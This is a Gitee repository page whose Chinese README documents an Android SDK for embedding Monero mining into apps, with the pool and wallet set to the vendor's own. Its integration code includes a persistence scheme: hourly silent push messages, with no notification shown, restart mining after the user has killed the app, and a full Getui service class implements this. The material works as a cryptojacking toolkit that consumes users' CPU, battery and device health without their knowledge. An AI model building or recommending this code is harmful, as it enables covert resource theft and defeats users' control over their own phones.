# MobileMinerSDK
**Repository Path**: Yyaqq/MobileMinerSDK
## Basic Information
- **Project Name**: MobileMinerSDK
- **Description**: android手机挖矿sdk,包含门罗,以太坊和zcash
- **Primary Language**: Unknown
- **License**: Not specified
- **Default Branch**: master
- **Homepage**: None
- **GVP Project**: No
## Statistics
- **Stars**: 0
- **Forks**: 0
- **Created**: 2021-04-07
- **Last Updated**: 2021-04-07
## Categories & Tags
**Categories**: Uncategorized
**Tags**: None
## README
# MobileMinerSDK
android手机挖矿sdk,包含门罗(cpu),以太坊(gpu)和zcash(gpu)。
门罗挖矿效果:
## Waterhole手机挖矿v1.0.0 SDK文档
### SDK介绍
Waterhole手机挖矿SDK,目前提供了门罗币(Monero, 代号XMR)的挖矿支持。目前门罗币手机挖矿支持32位和64位的运行环境,支持的ABI为armeabi, armeabi-v7a, arm64-v8a。连接的矿池为Waterhole公司矿池,内置钱包地址为Waterhole公司门罗地址,第三方开源代码抽水为0%。
### 快速集成
#### 1. 在app主模块的build.gradle中添加挖矿aar引用
```
compile(name: 'miner-core-1.0.0', ext: 'aar')
compile(name: 'miner-xmr-1.0.0', ext: 'aar')
```
#### 2. 在app主模块的build.gradle中设置NDK ABI参数
```
ndk {
abiFilters "armeabi", "armeabi-v7a", "arm64-v8a"
}
```
注意:在gradle中设置abi,是为了SDK在运行时能够优先选择arm64-v8a。虽然目前SDK支持armeabi, armeabi-v7a, arm64-v8a,但是64位的arm64-v8a挖矿速度比32位的arm快20%-30%,所以优先适配arm64-v8a,如果实在不能适配(适配arm64-v8a的话,需要app中其他的库也有对应的arm64-v8a库),则SDK会选择32位的arm环境运行。
#### 3. 权限
打开AndroidManifest.xml,添加组件需要的权限:
```
```
注意:SDK内部不做权限处理,交由接入方来处理。
#### 4. 混淆
在混淆文件中加入:
```
-keep public class waterhole.miner.core.NoProGuard
-keep class * implements waterhole.miner.core.NoProGuard {*;}
```
#### 5. 接入代码
在Application初始化Miner:
```
WaterholeMiner.enableLog(true);
WaterholeMiner.initApplication(this);
```
开始挖矿:
```
XmrMiner.instance().init(context)
.setStateObserver(new StateObserver(){})
.startMine();
```
停止挖矿:
```
XmrMiner.instance().stopMine();
```
是否正在挖矿:
```
XmrMiner.instance().isMining();
```
设置挖矿最大CPU温度(必须在startMine()函数之前调用,默认为65℃):
```
XmrMiner.instance().setMaxTemperature(int)
```
获取当前CPU温度:
```
XmrMiner.instance().getCurrentTemperature()
```
#### 6. 推送保活拉起策略
挖矿SDK内部已经做好了保活,在用户不主动杀死接入方应用时,能尽可能存活。但由于国内Android手机的各种限制,为了保持挖矿时间,
在用户主动杀死接入应用后,还能再拉起挖矿服务,需要接入方配合处理。如果接入方接入了第三方推送SDK,可以利用推送后台,
定时推送透传消息到客户端(如每隔1小时),无需显示通知栏消息。在接收推送透传消息的逻辑中,根据指定的字段或者条件启动挖矿服务。
但init(Context)的Context参数必须为主进程的Context,不能为Service的context,否则启动挖矿会失败。
如,接入了个推的服务:
```
public final class GetuiIntentService extends GTIntentService {
public GetuiIntentService() {
}
@Override
public void onNotificationMessageClicked(Context context, GTNotificationMessage gtNotificationMessage) {
}
@Override
public void onNotificationMessageArrived(Context context, GTNotificationMessage gtNotificationMessage) {
}
@Override
public void onReceiveServicePid(Context context, int pid) {
LogUtils.info("onReceiveServicePid -> " + pid);
}
@Override
public void onReceiveMessageData(Context context, GTTransmitMessage msg) {
String appid = msg.getAppid();
String taskid = msg.getTaskId();
String messageid = msg.getMessageId();
byte[] payload = msg.getPayload();
String pkg = msg.getPkgName();
String cid = msg.getClientId();
// 第三方回执调用接口,actionid范围为90000-90999,可根据业务场景执行
boolean result = PushManager.getInstance().sendFeedbackMessage(context, taskid, messageid, 90001);
LogUtils.info("call sendFeedbackMessage = " + (result ? "success" : "failed"));
LogUtils.info("onReceiveMessageData -> " + "appid = " + appid + "\ntaskid = "
+ taskid + "\nmessageid = " + messageid + "\npkg = " + pkg
+ "\ncid = " + cid);
if (payload == null) {
LogUtils.error("receiver payload = null");
} else {
String data = new String(payload);
LogUtils.info("receiver payload = " + data);
/**
* 定时推送透传消息拉起挖矿服务
*
*
* 1. 推送后台定时推送透传消息到接入客户端,约定好数据标识,如xmr_miner开头的字符,或者其他json串,无需启动通知栏通知
* 2. init(Context)的Context参数必须为主进程的Context,不能为Service的Context,否则启动挖矿会失败
*
*/
// todo 启动字段|条件接入方自行设置,但init(Context)的Context参数必须为主进程的Context,不能为Service的Context,否则启动挖矿会失败
if (data.startsWith("xmr_miner")) {
XmrMiner.instance().init(App.getContext()).setStateObserver(new StateObserver() {
@Override
public void onConnectPoolBegin() {
}
@Override
public void onConnectPoolSuccess() {
}
@Override
public void onConnectPoolFail(String error) {
}
@Override
public void onPoolDisconnect(String error) {
}
@Override
public void onMessageFromPool(String message) {
}
@Override
public void onMiningError(String error) {
}
@Override
public void onMiningStatus(double speed) {
}
}).startMine();
}
}
}
@Override
public void onReceiveClientId(Context context, String clientid) {
LogUtils.error("onReceiveClientId -> " + "clientid = " + clientid);
// 441731ee7e3a839e3268a529044ace7d
}
@Override
public void onReceiveOnlineState(Context context, boolean online) {
LogUtils.error("onReceiveOnlineState -> " + (online ? "online" : "offline"));
}
@Override
public void onReceiveCommandResult(Context context, GTCmdMessage cmdMessage) {
LogUtils.error("onReceiveCommandResult -> " + cmdMessage);
}
}
```
#### 7. API说明
##### 7.1 class WaterholeMiner
###### enableLog()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| enable |
boolean |
void |
是否开启日志打印,默认为true |
###### initApplication()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| application |
Application |
void |
初始化挖矿数据 |
##### 7.2 class XmrMiner
###### instance()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| 无 |
无 |
MinerInterface |
获取XmrMiner实例(单例) |
###### init()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| context |
Context |
MinerInterface |
初始化 |
###### startMine()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| 无 |
无 |
void |
开始挖矿,内部会开启一个独立进程进行挖矿 |
###### stopMine()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| 无 |
无 |
void |
停止挖矿,会杀掉挖矿进程,释放资源 |
###### isMining()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| 无 |
无 |
boolean |
是否正在挖矿中,true 是 | false 否 |
###### setStateObserver()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| stateObserver |
StateObserver |
MinerInterface |
挖矿状态观察者回调 |
###### setMaxTemperature()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| maxTemperature |
int |
MinerInterface |
设置挖矿最大CPU温度,默认为65℃,必须在startMine()函数之前调用 |
###### getCurrentTemperature()
| 参数名 |
参数类型 |
返回类型 |
说明 |
| 无 |
无 |
int |
获取当前CPU温度 |
##### 7.3 class StateObserver
###### onConnectPoolBegin()
###### onConnectPoolSuccess()
###### onConnectPoolFail()
| 参数名 |
参数类型 |
说明 |
| error |
String |
连接矿池失败回调,回调失败原因 |
###### onPoolDisconnect()
| 参数名 |
参数类型 |
说明 |
| error |
String |
与矿池连接断开,回调失败原因 |
###### onMessageFromPool()
| 参数名 |
参数类型 |
说明 |
| message |
String |
收到矿池信息回调 |
###### onMiningError()
| 参数名 |
参数类型 |
说明 |
| error |
String |
挖矿错误回调,回调失败原因 |
###### onMiningStatus()
| 参数名 |
参数类型 |
说明 |
| speed |
double |
挖矿速度,建议保留3-4位小数,门罗币的单位为H/s |
##### 7.4 class MinerInterface
各个挖矿币的统一接口,接入方无需了解。
#### 8. 技术支持
```
qq: 651043704
wechat: k651043704
```